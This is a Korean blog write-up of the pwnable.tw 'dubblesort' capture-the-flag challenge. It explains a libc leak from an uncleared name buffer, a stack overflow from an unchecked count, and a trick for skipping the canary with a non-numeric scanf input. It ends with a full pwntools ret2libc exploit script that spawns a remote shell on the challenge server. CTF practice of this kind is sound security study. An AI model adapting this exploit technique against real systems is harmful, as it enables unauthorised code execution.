CIDY
[Pwnable.tw] dubblesort(Write-up) 본문
버블소트도 아니고 이건 뭐지
풀 보호기법이다. 흠........
이름 입력받고, 출력해준다. memset안하니까 여기서 뭐 쓸만한거 릭하면 될듯. 그런다음에 숫자 몇 개 소트할거냐고 묻는다.
입력받은 숫자 개수만큼 반복문 돌면서 숫자 입력받는다.
근데 v10은 int형인데다가..뭐 ida가 디컴파일해주는거니 그럴 수 있다고 쳐도 공간이 0x20밖에 없다. 그럼 8개밖에 못받는거 아닌가?
저 함수는 sort함수인듯하다. 저게 bubblesort라서 문제 이름이 이런듯.
그리고 result쭉 출력해줌
뭐야 코드가 이게 끝이다. 일단 립씨릭은 앞서 말했던 방법(memset X)으로 쉽게 가능하고, 그리고 자기가 원하는 만큼 입력보낼 수 있으니까 그걸로 ret덮으면 그만이다.
문제는 카나리인데, 입력 서식문자가 %u로 정해져있다는 점을 이용하면 된다. scanf는 서식문자 포맷에 부합하지 않는 입력을 받을 경우 그냥 아예 입력받지 않기 때문에, 카나리값 순서에 숫자가 아닌 다른 이상한 문자를 넣어주면 카나리값은 패스하고 overwrite가능하다. (32비트는 스택으로 인자전달하니까 생각하기 귀찮으면 카나리 이후로 system쭉 깔고 마지막에 binsh넣어주면 된다.)
그래서 로컬에서는 성공했는데 LD_PRELOAD가 적용할때마다 터지는 바람에 remote에서는 또 삽질해봐야 한다. 아니 립씨 적용하는거 한동안 잘 되더니 왜 또 이지랄인지 모르겠다. 요즘 vscode에서 쉘 분할 창 띄우는것도 그지같이 되던데... 맘같아서는 깔았다가 삭제하고 싶지만 환경 설정을 다시 하고 싶지는 않다.
암튼 삽질하러 가보자
ㅋㅋ결국 offset 0x244부터 0x1ae244까지 0x1000씩 브포때렸다.
from pwn import *
offset = 0x1ae244
p = remote("chall.pwnable.tw", 10101)
#p = process("./dubblesort")
e = ELF("./dubblesort")
#libc = e.libc
libc = ELF("./libc_32.so.6")
p.sendafter(b"What your name :", b"A" * 0x1c)
p.recvuntil(b"Hello ")
p.recvn(0x1c)
leak = u32(p.recvn(4))
libc_base = leak - offset
print(hex(offset))
print(hex(leak))
print(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
p.sendlineafter(b":", str(35))
for i in range(24):
p.sendlineafter(b": ", str(1))
p.sendlineafter(b": ", str("+")) #for canary
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(system))
p.sendlineafter(b": ", str(binsh))
p.recvline()
p.recvline()
p.interactive()
'Hack > Pwnable' 카테고리의 다른 글
[Pwnable.tw] applestore(Write-up) (2) | 2023.01.02 |
---|---|
[Pwnable.tw] hacknote(Write-up) (0) | 2023.01.01 |
[Pwnable.tw] orw(Write-up) (0) | 2022.12.31 |
[Pwnable.tw] start(Write-up) (0) | 2022.12.31 |
참고할 것들(링크) (0) | 2022.12.26 |